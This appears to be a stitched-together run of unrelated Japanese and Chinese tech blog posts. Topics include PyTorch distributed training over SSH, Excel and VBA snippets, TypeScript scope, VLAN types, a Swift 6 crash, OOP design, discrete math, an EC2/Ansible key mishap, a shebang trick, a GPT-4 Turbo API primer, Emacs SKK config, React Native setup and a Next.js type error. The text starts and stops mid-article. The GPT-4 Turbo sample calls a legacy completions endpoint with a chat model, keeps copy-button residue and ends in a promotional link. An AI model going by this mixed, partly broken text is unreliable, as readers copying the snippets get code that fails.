        init_method=f"tcp://{os.environ['MASTER_ADDR']}:{os.environ['MASTER_PORT']}", 
        rank=rank,
        world_size=world_size
    )
    
### 2. **データ分散**
各プロセスにデータを分割して割り当てるために`torch.utils.data.DistributedSampler`を使用します．
    from torch.utils.data import DataLoader, DistributedSampler
    
    sampler = DistributedSampler(dataset, num_replicas=world_size, rank=rank)
    dataloader = DataLoader(dataset, batch_size=10, sampler=sampler)
    
### 3. **モデルのDDPラップ**
モデルを`torch.nn.parallel.DistributedDataParallel`でラップします。
    from torch.nn.parallel import DistributedDataParallel as DDP
    
    model = SimpleModel().to(rank)
    ddp_model = DDP(model, device_ids=[rank])
    
### 4. 訓練ループ
    for epoch in range(5):
        sampler.set_epoch(epoch)  # シードを設定してデータシャッフル
        for data, target in dataloader:
            data, target = data.to(rank), target.to(rank)
            optimizer.zero_grad()
            output = ddp_model(data)
            loss = criterion(output, target)
            loss.backward()
            optimizer.step()
            print(f"Rank {rank}, Loss: {loss.item()}")
    
    dist.destroy_process_group()
    
### 5. メイン
    torch.multiprocessing.spawn(train, args=(world_size,), nprocs=world_size, join=True)
    

## 実行

今回はスクリプトファイルを使って各ノードで実行するようにしました．

```bash
#!/bin/bash

# 各ノードの設定
# ノードのIPリストを自動生成
NODES=()
for i in $(seq -w 01 20); do
    NODES+=("node$i")
done
MASTER_ADDR="192.168.0.1"
MASTER_PORT=29500
WORLD_SIZE=20  # 全プロセス数（ノード数×プロセス数/ノード）
SCRIPT_PATH="/Path/to/train.py"

# 各ノードでコマンドを実行
for i in "${!NODES[@]}"; do
  NODE=${NODES[$i]}
  RANK=$i
  echo "Starting on $NODE with rank $RANK"

  ssh -tt $NODE "
    cd /home/takayama/Diffusion_model/DDPM_DDP/
    export MASTER_ADDR=$MASTER_ADDR 
    export MASTER_PORT=$MASTER_PORT
    export WORLD_SIZE=$WORLD_SIZE
    export RANK=$RANK
    export CUDA_VISIBLE_DEVICES=0
    torchrun --nproc_per_node=1 --nnodes=$WORLD_SIZE --node_rank=$RANK --master_addr=$MASTER_ADDR --master_port=$MASTER_PORT $SCRIPT_PATH
  " &
done

wait
echo "Finish"
```
Excel函数




1.Excel函数，计算日期，并且只显示到当月的最后一天
`"A11"`是当前单元格的上一个单元格，`"$I$2"`是写入当前月份的单元格（yyyy/M/d格式）
```
=IFERROR(IF(MONTH(A11+1)=MONTH($I$2),A11+1,""),"")
```
[TS] 例外処理ブロックのスコープについて

## はじめに
PythonとTypeScriptにおいての、  
例外処理ブロックのスコープの違いについて  
自分の中で整理をつけるためにまとめました。

## Python
Pythonの場合、tryブロック内で宣言した変数は  
exceptブロック内・例外処理ブロック外でも参照可能。

```py
try:
	user_name = "Taro"
	raise Exception("例外が発生")
except Exception as e:
	print(f"except内 : {user_name}")
	print(e)

print(f"try~exceptの外 : {user_name}")

# except内 : Taro
# 例外が発生
# try~exceptの外 : Taro
```

## TypeScript (const、let)
TypeScriptの場合、tryブロック内で宣言した変数は  
catchブロック内・例外処理ブロック外では参照不可。  
下記のサンプルでは、letを利用しているがconstでも同じである。

```ts
try {
    let userName: string = "Taro"
    throw new Error("例外が発生")
} catch (error) {
    console.log(`catch内 : ${userName}`)
    console.log(error.name)
}

console.log(`try~catchの外 : ${userName}`)

// error TS2304: Cannot find name 'userName'.
// error TS2304: Cannot find name 'userName'.
```

### 対処法
例外処理ブロックの外で、変数の宣言を行うことで  
catchブロック内・例外処理ブロック外でも参照可能になる。

```ts
let userName: string;

try {
    userName = "Taro"
    throw new Error("例外が発生")
} catch (error) {
    console.log(`catch内 : ${userName}`)
    console.log(error.name)
}

console.log(`try~catchの外 : ${userName}`)

// catch内 : Taro
// Error
// try~catchの外 : Taro
```

## あとがき
~~Pythonの文法ルールってゆるい~~

## 参考
- 例外処理 (exception)
  - https://typescriptbook.jp/reference/statements/exception
Excel VBA

1.将单元格移动到1,1单元格，
```
Application.GoTo Cells(1, 1), False
```
- False为不移动画面，只移动格子，不伴随滚动条的移动，也可以设置成True

用例：
```
Sub SellToA1()
    Dim ws As Worksheet
    Dim memo As String
    memo = ""
    For Each ws In ThisWorkbook.Worksheets
        If memo = "" Then memo = ws.Name
        ws.Activate
        Application.GoTo Cells(1, 1), True
    Next ws
    ThisWorkbook.Worksheets(memo).Activate
End Sub
```

2.设置范围并命名
 ```
ActiveWorkbook.Names.Add Name:="PIB_DATA", RefersToR1C1:=ActiveSheet.Range(Cells(1, 1), Cells(w_row, W_COL))
```

3.清除Pivot里面的项目数据
```
For Each pvtfield In Worksheets("Sheet名").PivotTables("ﾋﾟﾎﾞｯﾄﾃｰﾌﾞﾙ2").PivotFields
    For Each pvtitem In pvtfield.PivotItems
        pvtitem.Delete
    Next
  Next
```

4.更新指定的Pivot
```
ActiveSheet.PivotTables("ﾋﾟﾎﾞｯﾄﾃｰﾌﾞﾙ1").RefreshTable
```
【ネットワーク初心者向け】マルチプルVLANとタグVLANの違いをわかりやすく解説！

## はじめに

ネットワーク設計をしていると、「VLANを使えばネットワークを分離できる！」と思うことがありますよね。しかし、VLANには 「タグVLAN」 と 「マルチプルVLAN」 という2種類の方法があり、それぞれの特徴を理解していないと誤った設計になってしまうことも……。
今回は、 「マルチプルVLANとタグVLANの違い」 をわかりやすく解説していきます！

## 1. VLANとは？
VLAN（Virtual LAN）は、スイッチ上で論理的にネットワークを分割する技術です。
通常、スイッチは接続されたすべての端末が同じネットワーク（ブロードキャストドメイン）に属しますが、VLANを使うことで、ポート単位で異なるネットワークに分けることが可能 になります。
しかし、VLANの実装方法には タグVLAN（IEEE 802.1Q） と マルチプルVLAN の2種類があります。

## 2. マルチプルVLANとは？

🔹 マルチプルVLANの特徴

✅ VLANごとにサブネットワークを分離しない
✅ 異なるVLANグループが同じネットワークに所属可能
✅ スイッチ間でVLANを維持するのが難しい
✅ VLANタグ（IEEE 802.1Q）を使用しない

📌 マルチプルVLANの問題点
マルチプルVLANは、スイッチのポート単位でVLANを設定できますが、スイッチ間でVLANの情報を維持する仕組みがありません。そのため、スイッチをまたぐとVLANが識別できなくなる という問題があります。
さらに、異なるVLANでも 同じIPネットワーク（サブネット）に所属することが可能 なので、VLAN間で直接通信できてしまうケースがあります。
⚠️ マルチプルVLANの例
| VLAN | ポート | IPサブネット |
|:-:|:-:|:-:|
| VLAN 10  | Port 1  | 192.168.1.0/24  |
| VLAN 20  | Port 2  | 192.168.1.0/24  |
| VLAN 30  | Port 3  | 192.168.1.0/24  |

➡ 異なるVLANでも、IPアドレスが同じなら通信できる可能性がある！

## 3. タグVLAN（IEEE 802.1Q）とは？
🔹 タグVLANの特徴
✅ VLANごとに異なるサブネットを割り当てる
✅ 異なるVLAN同士の通信にはL3ルーターが必要
✅ スイッチ間を接続するトランクポートを利用可能
✅ VLANタグ（IEEE 802.1Q）を使用する

📌 タグVLANのメリット
タグVLANでは、VLAN IDをパケットに付与することで スイッチをまたいでもVLAN情報を保持 できます。そのため、スイッチ間の通信でもVLANを維持でき、意図しないネットワークの混在を防げる のがメリットです。
⚠️ タグVLANの例
| VLAN | ポート | IPサブネット |
|:-:|:-:|:-:|
| VLAN 10  | TaggedPort  | 192.168.1.0/24  |
| VLAN 20  | TaggedPort  | 192.168.2.0/24  |
| VLAN 30  | TaggedPort  | 192.168.3.0/24  |

➡ 異なるVLANは異なるIPサブネットになるため、L3ルーターを使わないと通信できない！

## 4. マルチプルVLANとタグVLANの比較
| 項目 | マルチプルVLAN | タグVLAN（802.1Q） |
|:-:|:-:|:-:|
| VLANごとのサブネット分離  | しないことが多い  | 通常は分離する  |
| 異なるVLAN同士の通信  | 可能（同じサブネットなら）  | L3ルーターが必要  |
| スイッチ間接続  | 難しい（VLAN情報が維持できない）  | 可能（タグでVLAN識別）  |
| 管理のしやすさ  | 設定次第で簡単  | ネットワーク設計が必要  |

## 5. どちらを使うべき？
✅ マルチプルVLANを使うべきケース
・VLANを使ってグループ分けしたいが、ネットワークは1つでよい場合
・VLAN対応していない機器を収容しつつ、グループを分けたい場合
・簡易的なVLAN分割がしたい場合（細かいネットワーク設計をしない）

✅ タグVLAN（802.1Q）を使うべきケース
・VLANごとに異なるネットワークを作りたい場合
・スイッチをまたいでVLANを維持したい場合
・VLAN間の通信を制御したい場合（L3ルーターを利用する）

## まとめ
❌ マルチプルVLANはL3（ネットワーク層）での分離をしないため、異なるVLANが同じネットワークに所属する可能性がある。
✅ 厳密にVLANごとにネットワークを分離したい場合は、タグVLAN（802.1Q）を使うのがベスト！
💡 つまり：
・「VLANごとに別のサブネットを作りたいなら、タグVLAN（802.1Q）を使うべし！」

・「マルチプルVLANは、異なるVLANを同じネットワークに所属させることが可能！」

タグVLANとマルチプルVLANの違いを理解し、適切に使い分けましょう！ 🎉
Swift6でUNUserNotificationCenterのaddでアプリがクラッシュする

## はじめに
Swift6にしてから、UNUserNotificationCenter.current()のaddメソッドでクラッシュが発生するようになりました。
対象アプリ：iOS
Xcodeバージョン：16.2
## 問題の箇所
以下のコードのcenter.add()の箇所で**Incorrect actor executor assumption**が発生したりしてクラッシュしました。
```swift
let request = UNNotificationRequest(identifier: "example", content: content, trigger: nil)
let center = UNUserNotificationCenter.current()
center.add(request, withCompletionHandler: { _ in
    // 何かしらの処理
})
```

原因はこちらの記事でも書かれていますが、Swift 6 のコンパイラがクロージャの実行スレッドを誤ってメインアクターと認識してしまうことがあるためです。

https://qiita.com/segawanko/items/da9937dec6bc19a4acaa

## 対処
add()の非同期代替関数を使ってクロージャーを使わないようにする
```swift
let request = UNNotificationRequest(identifier: "example", content: content, trigger: nil)
let center = UNUserNotificationCenter.current()
Task {
    try? await center.add(request)
    // 何らかの処理
}
```
オブジェクト指向プログラミングにおいて重要な考え方

初めに
皆さんはプログラミングを学習して行くうえで参考ソースや完成されたソースを見る際に「なぜこんな設計がおもいつくの？」と思ったことはないでしょうか？
私自身これがとてもありこんなきれいな設計・コーディング自分では思いつかないなコードを見ながら感じることが多いです。
今回はオブジェクト指向プログラミングにおいて良い設計・コーディングをするために必要な考え方を共有します。


1.責務の分離(Separation of Concerns)
責務の分離というのはざっくりいうと「1つのクラスが１つの役割だけを持つべき」という考え方。

下記のコードを見てみてください。



 ```TypeScript:food.ts
class Food{
    constructor(public element: HTMLDivElement) {
        element.addEventListener('click',this.clickEventHandler.bind(this));
    }
    clickEventHandler() {
        this.element.classList.toggle('food--active');
    }
}

class Foods{ 
    elements = document.querySelectorAll<HTMLDivElement>('.food');
    constructor() {
        this.elements.forEach(element => {
            new Food(element);
        })

    }
 }
 const foods = new Foods();
```

このコードはFoodsクラスでfoodを持つ要素をすべて取得しそれを１つずつコンストラクタ関数でFoodクラスもコンストラクタに渡しFoodクラス内でクリックイベントリスナを設定している。
これをもしFoodsクラスの中でfoodごとの処理まで全部やろうとすると、コードが複雑になる
なので、以下のようにクラスごとに役割を分けるのがポイント
・Foodクラス　 →１つのfood要素に対し処理を実行
・Foodsクラス　→すべてのfoodをまとめて管理する
こうすることで管理がしやすくなり可読性も向上する


2.カプセル化（Encapsulation）
カプセル化をざっくりいうと「オブジェクトの内部の動作は、外部から直せず触れさせず隠蔽する」という考え方
先ほどのコードの一部を編集し例にします
 ```TypeScript:food.ts
class Food{
    constructor(public element: HTMLDivElement) {
        element.addEventListener('click',this.clickEventHandler.bind(this));
    }
    private clickEventHandler() {
        this.element.classList.toggle('food--active');
    }
}

```
このコードはclickEventHandler()をprivateにし外部から呼べないようにしています。
こうすることでクリック時の動作はFoodクラスだけで完結するようになります。
各クラスの中で完結するべき処理は外部に見せないようにするのがポイントになります。



では、こういう設計を思いつくにはどうすればいいか？
この設計を思いつくには３つの視点が大事
1.物事を「クラス単位」で考える習慣
・「1つのクラス = 1つの役割」を意識する
・何かのシステムや現実世界でどうクラス分けしたら整理しやすいかを考える

2．この処理はどのクラスがするべきか？を考える
・この処理はAクラスがやるべきかBクラスがやるべきかを考えると、自然と役割がわかれていく
・1つのクラスに責務を持ちすぎていないか？を考える

3.再利用しやすい設計か？を考える
・1つのクラスに処理を多く書くと汎用性がなくなる
・クラス分けを的確にして行くことで他の機能も流用しやすくなる
離散数学(超入門) - 関係 - 1


本日は**関係**について学んでいきます.
数学の関係は, よく耳にする「どのような関係か」を表すようなものではなく, 「どれとどれが関係があるか」という部分のみに着目した, とてもシンプルなものです.

# 関係に入る前に

関係に入る前に, いくつか関係の説明で使う知識を紹介します.

## 順序対
順序対とは要素に**順序**がある**2つの要素のペア**のことを指します.
次のように丸カッコを用いて表します.

```math
(a,b)
```

集合とは違い, 順序対は順序がとても重要です.
次のように順番を逆にすると, 基本的には等しくなりません.

```math
(a,b) \neq (b,a)
```

## 直積集合

直積集合とは, 2つの集合の**順序対**を**すべて集めた集合**のことです.
集合Aと集合Bの直積集合は次のように定義されます.

```math
A \times B = \{ (a, b) \mid a \in A, b \in B \}
```

例えば, 次のような集合A, Bの直積集合は次のようになります.

```math
\displaylines{
A = \{1, 2\}, \quad B = \{a, b\} \\\\
A \times B = \{ (1, a), (1, b), (2, a), (2, b) \}
}
```

自身のとの直積は次のように略記ｓこともあります.
```math
A^2 = A \times A
```

直積集合の濃度は, 各集合の濃度の積に等しくなります.

```math
|A \times B| = |A| \times |B|
```

:::note warn
左辺の×は**直積の記号**, 右辺の×は**掛け算の記号*であることに注意してください
:::

直積集合は順序対で構成されているため, 要素の順序が重要です. したがって, 一般には

```math
A \times B \neq B \times A
```

となります.


# 関係
改めて，数学の関係は, 「どれとどれが関係があるか」という部分のみに着目した, とてもシンプルなものです.
今回は話を簡単にするため, 2つの集合の間の関係を考えます.

*関係*は集合Aから集合Bへの対応を表し, 数学的に表現すると, AとBの**直積集合の部分集合**となります.
関係は次のように定義されます.

```math
R \subseteq A \times B
```

集合Aの要素であるaと集合Bの要素であるbに関係がある場合は, 「aとbは R 関係にある」といい,関係を表す R という記号を用いて次のように表します.

```math
a \mathrel{R} b
```

例えば, 集合A, Bの **a1**と**b1**, **a2**と**b3**がR1関係にある場合は次のように表します.

```math
R1 = \{(a1, b1), (a2, b3) \}
```

分かりやすいようにR1を図で表してみると, 次のような感じになります.

![スクリーンショット 2025-03-12 223309.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/670178/fb136eeb-2a3f-4ab8-97b9-1d2cb545c193.png)

図の矢印の向きから, 関係の要素が順序対で表現されている理由が, 直感的に感じられるのではないでしょうか.

今回は２つの集合で考えましたが, 集合の数が増えても基本的な考え方は同じです.

# おわりに
関係は, この先の写像や代数学にもつながってくる重要な概念なので, しっかりと理解しておいてください.
特に「関係は集合AとBの直積集合の部分集合である」という点がしっくりこない場合は, 集合の基本的な概念を振り返るのがおすすめです.
集合の直積とは何か, 部分集合とは何かを改めて確認すると, 関係の意味がより明確になると思います.
意味が分かった時は「なるほど！」と腑に落ちる感覚を味わえるはずです.
AWS EC2でAnsibleの実行コマンドが永遠に弾かれた時の備忘録

:::note info
エンジニア2年目が書いた記事と認知して読んでね
:::
## ■ Ansibleの勉強がしたかっただけなのに...笑
お仕事でL2SWへの設定投入にAnsible使いたかったので、検証環境作ってコマンドの確認でもするかーってEC2をぽちーって作ったら思わぬドツボにはまった時の話

### この記事を読むと
・サーバの鍵をなくした時のめんどくささが学べます！
・Ansibleについては後日書くよ！


### 検証方法を考える
とりあえずサクッとコマンドとPlaybookの書き方だけおさらいできれば良い

・サーバ(VM) x2台用意
・Ansibleサーバから、Clinetにnginxのインストールできるか試す。
・サーバはそれぞれ異なるサブネットに配置。

これくらい決めた時点で「そういえば昔AWSに作ったEC2にAnsibleインストールしたな」と思い出す。これを起こして流用することにする。
![スクリーンショット (65).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4026542/29471952-9ac2-4a0b-92b0-df5668a12ed8.png)


### 【悲報】キーペア紛失
TeratermからServer側にアクセスしようとして、デフォルトユーザ（ec2-user)でログイン試みるも、パスワード設定した覚えなく...
デフォルト値とかないかなと調べるうちに、以下記事を見て焦る

https://qiita.com/ceg-qiita/items/e3cf1fa5e4c42b89a2ee

あ、デフォルトのpassword無いのか...
キーペアもどこに保存したのやら...
※ちなみにキーペアなくすとEC2立て直ししか方法がないらしい

https://dev.classmethod.jp/articles/first-login-to-ec2-linux/

### 苦し紛れの打開策（Instance Connect）

「まあ、EC2 Instance Connect（AWSのコンソール画面からCLI操作できるやつ）を使えば問題ないべ～」と思い、AWSコンソール経由でServerに接続。

後日playbookの内容記載しますが、とりあえずせっせこPlaybook作成。
以下コマンドでServerからClientに向けて実行！

~~~
$ ansible-playbook -i ./hosts site.yml
~~~
~~~
fatal: [172.31.0.20]: UNREACHABLE! => {"changed": false, "msg": "Failed to connect to the host via ssh: Warning: Permanently added '172.31.0.20' (ECDSA) to the list of known hosts.\r\nPermission denied (publickey,gssapi-keyex,gssapi-with-mic).", "unreachable": true}
~~~
:::note alert
ここからは優しい気持ちで読んでください
:::
「え、Permission denied？なんで？」
と、とりあえず以下を確認するも問題はなし。

・Client側のFWD確認：ssh(TCP:22)許可してる。
・AWSのSecurity Group: SSHを許可済み

う～ん。。。1回直接ssh接続してみるか～で、
ssh -l ...まで入力して気づく。

「あれ？デフォルトのユーザにパスワード無いんだっけ」
「この子（Server)は鍵をもって...」


## 次回
・AWSでのキーの再設定
・EC2への秘密鍵の配置（SCP)

あたりを今週めどに書きます。結論、なんとか解決したよ。

久しぶりに環境を使うと、意外なところでつまずくものですね。
シェバンでスクリプトの直接実行を防ぐトリック: #!/bin/echo の活用

## はじめに
シェルスクリプトを書いていると、「このスクリプトは直接実行してほしくない」「\`source\`で読み込んで使ってほしい」という場面に遭遇することがあります。例えば、DockerのPostgreSQLコンテナで使う\`initdb.d\`内のスクリプトで、直接実行されると意図しない動作をする場合などです。

今回は、シェバン（\`#!\`）を工夫して、スクリプトの直接実行を防ぎつつ、実行時にメッセージを表示するシンプルな方法を紹介します。使うのは、身近なコマンド\`/bin/echo\`です。このトリックを知れば、スクリプトの制御がちょっと楽しくなるかもしれません！

## 問題: スクリプトの直接実行を防ぎたい
例えば、以下のようなスクリプトを考えます。これは\`initdb.d\`で共通関数を定義するモジュールです：

```bash:initdb.d/common.sh
function log() {
    echo "[INFO] $1"
}
```

このスクリプトは、他のスクリプトから\`source\`で読み込んで使う想定です。しかし、誰かがうっかり\`./common.sh\`と実行してしまうと、特に何も起こらないものの、意図しない動作（例えば環境変数の汚染）を引き起こすリスクがあります。さらに、\`initdb.d\`内で直接実行されると、期待した初期化が動かないことも。

ここで欲しいのは：
- 直接実行（\`./common.sh\`）されたら「これは\`source\`で使ってね」とメッセージを表示。
- \`source\`で読み込んだときはエラーなく関数を利用可能。
- \`initdb.d\`で余計な実行を防ぐ。

さて、どうしましょうか？

## 解決策: \`#!/bin/echo\` を使う
シンプルな解決策として、シェバンに\`/bin/echo\`を使います。以下がその実装です：

```bash:initdb.d/common.sh
#!/bin/echo This script is meant to be sourced, not executed directly.
function log() {
    echo "[INFO] $1"
}
```

### どう動くのか？
1. **直接実行時（\`./common.sh\`）**  
   シェバンが\`/bin/echo\`を呼び出し、続く文字列を引数として出力します：
   \`\`\`
   This script is meant to be sourced, not executed directly.
   \`\`\`
   その後、\`echo\`が終了し、スクリプトの残りの部分（\`function log\`）は実行されません。

2. **\`source\`時（\`source ./common.sh\`）**  
   シェバンは無視され、スクリプト全体が現在のシェルで解釈されます。2行目以降がBashコードとして処理され、\`log\`関数が正しく読み込まれます：
   ```bash
   $ source ./common.sh
   $ log "test"
   [INFO] test
   ```

3. **\`initdb.d\`での動作**  
   Dockerの\`initdb.d\`で実行されると、シェバンにより\`/bin/echo\`が呼ばれ、メッセージが出力されて終了。関数定義などの余計な処理はスキップされます。

### なぜこれでうまくいくのか？
- \`/bin/echo\`は引数を出力して即終了する軽量コマンド。
- シェバンの後ろに書いた文字列がそのまま\`echo\`の引数になる。
- Bashではシェバンが無視されるため、\`source\`時の動作に影響なし。

## 他の方法との比較
似た目的でよく使われる方法と比べてみましょう：

### \`/bin/true\` + 条件分岐
```bash
#!/bin/true
if [[ "${BASH_SOURCE[0]}" == "${0}" ]]; then
    echo "This script is meant to be sourced, not executed directly."
    exit 1
fi
function log() {
    echo "[INFO] $1"
}
```
- **メリット**: メッセージをスクリプト内で柔軟に編集可能。
- **デメリット**: 少し冗長で、シェバンだけで完結しない。

### \`/bin/echo\` の勝ちポイント
- 1行で完結するシンプルさ。
- 外部依存性がほぼゼロ（\`/bin/echo\`はどこにでもある）。
- 直感的で「なるほど！」と思えるトリック感。

## 注意点
この方法を使う際に気をつけるべき点を挙げます：
- **メッセージの編集**: シェバンにハードコードされるので、長いメッセージや動的な内容には不向き。
- **改行**: シェバン内で\`\\n\`を入れてもリテラルとして扱われるので、改行は自然に出ません。必要なら\`printf\`を検討してもいいかも。
- **可読性**: チーム開発では「なぜ\`echo\`がシェバンに？」と驚かれる可能性があるので、コメントで意図を補足すると親切です。

## 応用例: Dockerでの利用
\`initdb.d\`で使う場合、こんな感じで実装できます：

```bash:initdb.d/common.sh
#!/bin/echo This script is meant to be sourced, not executed directly.
function log() {
    echo "[INFO] $1"
}
```

```bash:initdb.d/01-init.sh
#!/bin/bash
source /docker-entrypoint-initdb.d/common.sh
log "Starting database initialization"
psql -U "$POSTGRES_USER" -d "$POSTGRES_DB" -c "CREATE TABLE test (id SERIAL PRIMARY KEY);"
```

直接\`common.sh\`が実行されてもメッセージで警告しつつ、\`01-init.sh\`では関数を活用できます。

## おわりに
\`#!/bin/echo\`を使ったこのトリックは、シェルスクリプトの小さな工夫として意外と便利です。シンプルながら特定の場面（特にDocker環境）で役立つ場面があるので、ぜひ試してみてください。もし他にも面白いシェバンの使い方を見つけたら、コメントで教えてくださいね！
【初心者向け】GPT-4 Turboの活用方法とAPIの使い方

## はじめに
GPT-4 Turboは、最新のAI技術を活用した言語モデルであり、自然言語処理において非常に強力な能力を発揮します。

今回は、初心者向けにGPT-4 Turboの活用方法と、そのAPIを使った実装方法について解説します。この技術は、さまざまな分野で利用可能であり、ビジネスや開発に革新的な変化をもたらすことができます。

GPT-4 Turboは、テクノロジーに不安を感じる方にも使いこなせるツールであり、活用することで多くの場面で価値を生み出すことができます。

それでは、詳しくみてみましょう。

## GPT-4 Turboとは？
[GPT-4 Turbo]は、OpenAIが開発した高度な言語生成モデルで、文書作成、会話、翻訳、要約、質問応答など、幅広い自然言語処理タスクに対応しています。従来のGPT-4と比較して、パフォーマンスが向上しており、計算速度とコスト効率も最適化されています。これにより、リアルタイムでの使用が可能となり、多くの企業や開発者にとって、非常に魅力的な選択肢となっています。

## GPT-4 Turboの活用方法
1. チャットボットの構築
GPT-4 Turboは、人間のような会話を生成する能力に優れており、カスタマーサポートやFAQボットの構築に最適です。これにより、ユーザーとのインタラクションをよりスムーズにし、リアルタイムで質問に答えることができます。

2. コンテンツ生成
ブログ記事、ソーシャルメディア投稿、広告文など、テキストコンテンツの自動生成に活用できます。特にSEOやマーケティングの分野では、効率的にコンテンツを大量に生成できるため、時間とコストの削減に繋がります。

3. 文書の要約と翻訳
長文の要約や、異なる言語間での翻訳を迅速に行うことができます。これにより、膨大な情報を効率的に処理することが可能になります。

4. プログラミングの支援
GPT-4 Turboは、コードの自動生成やエラーチェック、さらにはプログラムの説明を行うことができます。開発者が直面する問題を迅速に解決する手助けとなり、プログラミングの効率化に貢献します。

## GPT-4 Turbo APIの使い方
GPT-4 Turboを利用するためには、OpenAIのAPIを使うことが必要です。以下の手順でAPIを利用する方法について説明します。

1. APIキーの取得
まず、OpenAIの公式サイト（https://platform.openai.com/）にサインインし、APIキーを取得します。これがAPIを使用するための認証情報となります。

2. APIのインストール
次に、APIをインストールします。Pythonを使用する場合、以下のコマンドでインストールできます。

```bash
コピーする
pip install openai
```
 3. APIの使用
APIを使ってGPT-4 Turboにリクエストを送信するには、以下のPythonコードのように設定します。

```python
コピーする
import openai

# APIキーの設定
openai.api_key = 'YOUR_API_KEY'

# モデルの呼び出し
response = openai.Completion.create(
    model="gpt-4-turbo",
    prompt="こんにちは、GPT-4 Turbo！",
    max_tokens=100
)

# 結果の表示
print(response.choices[0].text.strip())
```
## 4. パラメータの設定
APIリクエストでは、prompt（入力テキスト）を設定するだけでなく、生成するテキストの長さを決めるmax_tokens、温度（ランダム性を調整するtemperature）などのパラメータを設定することも可能です。例えば、temperature=0.7に設定することで、より自然な、創造的な出力を得ることができます。

## 5. APIの応答を処理
APIはJSON形式で応答を返すため、取得した結果を適切に処理し、アプリケーションに組み込むことができます。

## GPT-4 Turboを利用する際の注意点
コスト管理: APIを使用する際は、使用したトークン数に基づいて課金されます。過度なリクエストを避けるために、適切なトークン管理が必要です。
セキュリティ: APIキーは機密情報です。誤って公開しないように、環境変数などで安全に管理しましょう。
## まとめ
GPT-4 Turboは、さまざまな自然言語処理タスクに活用できる強力なツールです。APIを活用することで、簡単に自分のアプリケーションやサービスに組み込むことができ、ビジネスや開発の効率化を図ることができます。導入に際しては、使用目的に合わせたパラメータ設定とコスト管理を心がけることが重要です。

## おすすめのAIツール
画像生成・加工
EX-AI
テキストから画像を生成できるAIツール。独自のアートワークやプロジェクトに使える画像を作成可能。
高品質なアートや画像を生成できるAI。クリエイティブなビジュアルコンテンツを作りたいときにおすすめ。
[無料体験も提供いるので参考してください。](http://ai.tencho-ex.com)
Doom EmacsでSKKを使うためのTips

# Doom EmacsでSKKを使うと困る
以下のようなことに困ってないだろうか。
- C-gを連打するといつの間にかSKKが終了してしまう
- インサートモードでSKKのC-jが```+default/newline```に食われてしまってskk-j-modeにならない
- org-modeでSKKのC-jが```org-down-element```に食われてしまってskk-j-modeにならない
下二つは本家にも困っている人がいるようだが放置気味。

https://github.com/doomemacs/doomemacs/issues/5555

これはそんな不具合を改善するTipsだ。

# 解決策

以下のコードを```$DOOMDIR/config.el```に入れておこう。

```emacs-lisp
;; +bindingsで+default/newlineに上書きされているのでnilにしておく
(map! :i "C-j" nil)

;; insert modeのC-gはevil-escapeに上書きされるとSKKと相性が悪い
(map! :i "C-g" nil)

(map! :after evil-org
      :map evil-org-mode-map
      ;; lang/org/configでorg-down-elementに上書きされているのでnilにしておく
      :i "C-j" (cmds! (org-at-table-p) #'org-table-next-row nil)
      )

(use-package! skk
  :bind ("C-x C-j" . #'skk-mode)
  :config
  ;; input/japanese/config.elでaddされているhookを削除する
  ;; （これだとC-gしたらSKKが終了してしまう）
  (remove-hook 'doom-escape-hook #'skk-mode-exit)
  :hook
  ;; normalモードに入るときにSKKをlatin-modeにするにはこう
  (evil-normal-state-entry-hook
   . (lambda ()
       (when (bound-and-true-p skk-mode)
         (skk-latin-mode-on)))))
         
;; ついでにpackage.elでjapaneseを有効にするとpangu-spacingまで強制有効になるのはどうかと思う向きは
(use-package! pangu-spacing
  :config
  ;; input/japanese/config.elでtext-mode-hookに挿入されているので削除する
  (remove-hook 'text-mode-hook #'pangu-spacing-mode))
```

^Hはバックスペースとして動いて欲しい向きは以下だ。

```emacs-lisp
;; ^Hは削除であって欲しい
(define-key key-translation-map (kbd "C-h") (kbd "<DEL>"))
```
React Nativeの環境構築（Windows）

# 本記事の完成

*React nativeの新規プロジェクトを立ち上げAndroid emulatorでアプリを起動する*

## 概要

モバイルアプリケーションの勉強を始めることになったので、デスクトップはWindows、ラップトップはMacを使っているので両者を同時に開発できる以下の２つで悩みました

- [React native](https://reactnative.dev/)
- [Flutter](https://flutter.dev/?gad_source=1&gclid=CjwKCAjwvr--BhB5EiwAd5YbXrDObtvbzL3A6Xjp0d9Jhxm_3q-_GdibEj0z5mVR6x19chi4OO-SSRoCiVgQAvD_BwE&gclsrc=aw.ds)

### React nativeを選んだ理由

理由としてはとても単純でReactに慣れているのとFlutterはあまり触れたことがないので馴染みやすさの観点からReact nativeを選択しました。

## セットアップ

- [Android Studio](https://developer.android.com/studio?hl=ja)をインストール

![スクリーンショット 2025-03-11 225013.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2633834/b975f7a0-e60f-4735-8322-4fc8eb60f30e.png)

- 環境構築の設定
コントロールパネル -> ユーザーアカウント -> ユーザーアカウント -> 環境変数の変更 -> 新規

変数名は`ANDROID_HOME`として、変数値は
Androis Studioの設定 -> Language & Frameworks -> Androis SDKを開くと
画面上部にAndroid SDK Locationが記載されているのでそれをコピーし貼り付けます。

## Emulatorの設定

![スクリーンショット 2025-03-11 230416.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2633834/598e8c05-1cbf-4b3a-b6ac-f64df0525e70.png)

Virtual Device Manager -> Create virtual device...
ここでお好きなデバイスを選択して下さい、私は今回`Pixel 9 Pro`を選びます。

## プロジェクトの作成と起動

`npx create-expo-app@latest`

こちらのコマンドを実行すると作成するアプリ名が聞かれるので適当入力して下さい。
作成が終了すれば、作成アプリのディレクトリに移動し、`npm run android`コマンドを実行します。

![スクリーンショット 2025-03-12 222344.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2633834/659726f5-f2fc-4758-8a7b-7009dfde017c.png)

前回インストールしたアンドロイドデバイスが起動しReact nativeの画面が表示されれば完成です。
ダイナミックルート作成時にTypeScriptの型エラーでハマった話 

## ダイナミックルート作成時にTypeScriptの型エラーにハマった話  

TypeScriptで `BlogProp` という型を定義しようとしたとき、思わぬ型エラーにハマったので備忘録として残しておく。  

### **やりたかったこと**  
Next.jsの `PageProps` に合わせて、`params` というプロパティを持つ `BlogProp` 型を定義しようとした。  

```typescript
type BlogProp = { params: { slug: string } };
```

しかし、これを使おうとすると以下のエラーが発生。  

### **発生したエラー**  
```
Type error: Type 'BlogProp' does not satisfy the constraint 'PageProps'.
  Types of property 'params' are incompatible.
    Type '{ slug: string; }' is missing the following properties from type 'Promise<any>': then, catch, finally, [Symbol.toStringTag]
```

